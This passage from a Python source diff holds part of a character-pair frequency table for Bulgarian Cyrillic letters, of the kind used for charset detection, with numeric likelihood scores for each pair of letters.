'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 1, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 47: { # 'З' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 2, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 2, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 1, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 1, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 40: { # 'И' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 2, # 'З' + 40: 1, # 'И' + 59: 1, # 'Й' + 33: 2, # 'К' + 46: 2, # 'Л' + 38: 2, # 'М' + 36: 2, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 0, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 1, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 2, # 'Я' + 1: 1, # 'а' + 18: 1, # 'б' + 9: 3, # 'в' + 20: 2, # 'г' + 11: 1, # 'д' + 3: 1, # 'е' + 23: 0, # 'ж' + 15: 3, # 'з' + 2: 0, # 'и' + 26: 1, # 'й' + 12: 1, # 'к' + 10: 2, # 'л' + 14: 2, # 'м' + 6: 2, # 'н' + 4: 0, # 'о' + 13: 1, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 2, # 'т' + 19: 0, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 1, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 59: { # 'Й' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 0, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 0, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 0, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 1, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 0, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 0, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 33: { # 'К' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 2, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 1, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 3, # 'р' + 8: 1, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 46: { # 'Л' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 2, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 0, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 38: { # 'М' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 0, # 'м' + 6: 2, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 2, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 36: { # 'Н' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 2, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 1, # 'Й' + 33: 2, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 1, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 0, # 'с' + 5: 1, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 2, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 41: { # 'О' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 1, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 1, # 'Й' + 33: 2, # 'К' + 46: 2, # 'Л' + 38: 2, # 'М' + 36: 2, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 0, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 1, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 1, # 'а' + 18: 2, # 'б' + 9: 2, # 'в' + 20: 2, # 'г' + 11: 1, # 'д' + 3: 1, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 0, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 2, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 0, # 'о' + 13: 2, # 'п' + 7: 2, # 'р' + 8: 2, # 'с' + 5: 3, # 'т' + 19: 1, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 2, # 'ч' + 27: 0, # 'ш' + 24: 2, # 'щ' + 17: 0, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 30: { # 'П' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 2, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 0, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 2, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 3, # 'л' + 14: 0, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 3, # 'р' + 8: 1, # 'с' + 5: 1, # 'т' + 19: 2, # 'у' + 29: 1, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 39: { # 'Р' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 2, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 0, # 'р' + 8: 1, # 'с' + 5: 0, # 'т' + 19: 3, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 28: { # 'С' + 63: 1, # 'e' + 45: 0, # '\xad' + 31: 3, # 'А' + 32: 2, # 'Б' + 35: 2, # 'В' + 43: 1, # 'Г' + 37: 2, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 2, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 2, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 1, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 3, # 'и' + 26: 0, # 'й' + 12: 2, # 'к' + 10: 3, # 'л' + 14: 2, # 'м' + 6: 1, # 'н' + 4: 3, # 'о' + 13: 3, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 3, # 'т' + 19: 2, # 'у' + 29: 2, # 'ф' + 25: 1, # 'х' + 22: 1, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 3, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 34: { # 'Т' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 2, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 2, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 2, # 'О' + 30: 1, # 'П' + 39: 2, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 1, # 'Ф' + 49: 0, # 'Х' + 53: 1, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 1, # 'Ъ' + 60: 0, # 'Ю' + 56: 1, # 'Я' + 1: 3, # 'а' + 18: 1, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 3, # 'о' + 13: 0, # 'п' + 7: 3, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 2, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 51: { # 'У' + 63: 0, # 'e' + 45: 1, # '\xad' + 31: 1, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 2, # 'Е' + 55: 1, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 0, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 1, # 'С' + 34: 2, # 'Т' + 51: 0, # 'У' + 48: 1, # 'Ф' + 49: 1, # 'Х' + 53: 1, # 'Ц' + 50: 1, # 'Ч' + 54: 1, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 1, # 'а' + 18: 1, # 'б' + 9: 2, # 'в' + 20: 1, # 'г' + 11: 1, # 'д' + 3: 2, # 'е' + 23: 1, # 'ж' + 15: 1, # 'з' + 2: 2, # 'и' + 26: 1, # 'й' + 12: 2, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 2, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 2, # 'с' + 5: 1, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 1, # 'х' + 22: 0, # 'ц' + 21: 2, # 'ч' + 27: 1, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 48: { # 'Ф' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 2, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 1, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 2, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 49: { # 'Х' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 1, # 'В' + 43: 1, # 'Г' + 37: 1, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 0, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 1, # 'П' + 39: 1, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 0, # 'У' + 48: 0, # 'Ф' + 49: 1, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 1, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 2, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 2, # 'ъ' + 52: 1, # 'ь' + 42: 1, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 53: { # 'Ц' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 1, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 0, # 'З' + 40: 2, # 'И' + 59: 0, # 'Й' + 33: 2, # 'К' + 46: 1, # 'Л' + 38: 1, # 'М' + 36: 0, # 'Н' + 41: 0, # 'О' + 30: 0, # 'П' + 39: 1, # 'Р' + 28: 2, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 2, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 1, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 0, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 1, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 1, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 0, # 'ь' + 42: 1, # 'ю' + 16: 1, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 50: { # 'Ч' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 2, # 'А' + 32: 1, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 1, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 0, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 3, # 'е' + 23: 1, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 0, # 'к' + 10: 1, # 'л' + 14: 0, # 'м' + 6: 0, # 'н' + 4: 2, # 'о' + 13: 0, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 0, # 'ч' + 27: 0, # 'ш' + 24: 0, # 'щ' + 17: 1, # 'ъ' + 52: 1, # 'ь' + 42: 0, # 'ю' + 16: 0, # 'я' + 58: 0, # 'є' + 62: 0, # '№' + }, + 54: { # 'Ш' + 63: 0, # 'e' + 45: 0, # '\xad' + 31: 1, # 'А' + 32: 0, # 'Б' + 35: 0, # 'В' + 43: 0, # 'Г' + 37: 0, # 'Д' + 44: 1, # 'Е' + 55: 0, # 'Ж' + 47: 1, # 'З' + 40: 1, # 'И' + 59: 0, # 'Й' + 33: 1, # 'К' + 46: 0, # 'Л' + 38: 0, # 'М' + 36: 1, # 'Н' + 41: 1, # 'О' + 30: 0, # 'П' + 39: 0, # 'Р' + 28: 0, # 'С' + 34: 0, # 'Т' + 51: 1, # 'У' + 48: 0, # 'Ф' + 49: 0, # 'Х' + 53: 0, # 'Ц' + 50: 0, # 'Ч' + 54: 0, # 'Ш' + 57: 0, # 'Щ' + 61: 0, # 'Ъ' + 60: 0, # 'Ю' + 56: 0, # 'Я' + 1: 2, # 'а' + 18: 0, # 'б' + 9: 2, # 'в' + 20: 0, # 'г' + 11: 0, # 'д' + 3: 2, # 'е' + 23: 0, # 'ж' + 15: 0, # 'з' + 2: 2, # 'и' + 26: 0, # 'й' + 12: 1, # 'к' + 10: 1, # 'л' + 14: 1, # 'м' + 6: 1, # 'н' + 4: 2, # 'о' + 13: 1, # 'п' + 7: 1, # 'р' + 8: 0, # 'с' + 5: 0, # 'т' + 19: 2, # 'у' + 29: 0, # 'ф' + 25: 0, # 'х' + 22: 0, # 'ц' + 21: 1, # 'ч' + 27: 0, # 'ш' + 